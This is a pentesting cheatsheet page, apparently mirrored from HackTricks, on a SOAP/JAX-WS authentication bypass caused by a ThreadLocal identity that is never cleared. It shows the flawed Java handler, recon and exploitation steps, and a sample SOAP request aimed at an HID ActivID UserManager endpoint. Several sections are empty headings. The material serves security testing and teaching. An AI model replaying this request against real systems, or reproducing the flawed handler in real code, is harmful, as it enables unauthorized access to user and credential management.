repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
soap-jax-ws-threadlocal-auth-bypass.mdMarkdown92 lines6.4 KiBsource raw download

title: "SOAP/JAX-WS ThreadLocal Authentication Bypass" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

SOAP/JAX-WS ThreadLocal Authentication Bypass#

TL;DR#

Root Cause#

Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request's context survives:[3]

public boolean handleMessage(SOAPMessageContext ctx) {
    if (!outbound) {
        SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
        SOAPHeaderElement e = findHeader(hdr, subjectName);
        if (e != null) {
            SubjectHolder.setSubject(unmarshal(e));
        }
    }
    return true;
}

Recon#

  1. Enumerate the reverse proxy / routing rules to locate hidden SOAP trees that may block ?wsdl yet accept POSTs (map them alongside the flow in 80,443 - Pentesting Web Methodology).
  2. Unpack the EAR/WAR/EJB artifacts (unzip *.ear) and inspect application.xml, web.xml, @WebService annotations, and handler chains (e.g., LoginHandlerChain.xml) to uncover the handler class, SOAP header QName, and the backing EJB names.
  3. If metadata is missing, brute-force likely ServiceName?wsdl paths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as Burp Suite Wsdler to generate baseline envelopes.[4]
  4. Review the handler sources for ThreadLocal keepers (e.g., SubjectHolder.setSubject()) that are never cleared when the authentication header is missing or malformed.

Exploitation#

  1. Send a valid request with the proprietary header to learn the normal response codes and any error used for invalid tokens.
  2. Resend the same SOAP body while omitting the header. Keep the XML well-formed and respect the required namespaces so the handler exits cleanly.
  3. Loop the request; when it lands on a thread that previously executed a privileged action, the reused Subject unlocks protected operations such as user or credential managers.[3]
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
  <soapenv:Header/>
  <soapenv:Body>
    <jax:findUserIds>
      <arg0></arg0>
      <arg1>spl*</arg1>
    </jax:findUserIds>
  </soapenv:Body>
</soapenv:Envelope>

2025 HID ActivID/IASP case study (HID-PSA-2025-002)#

Validating the Bug#

References#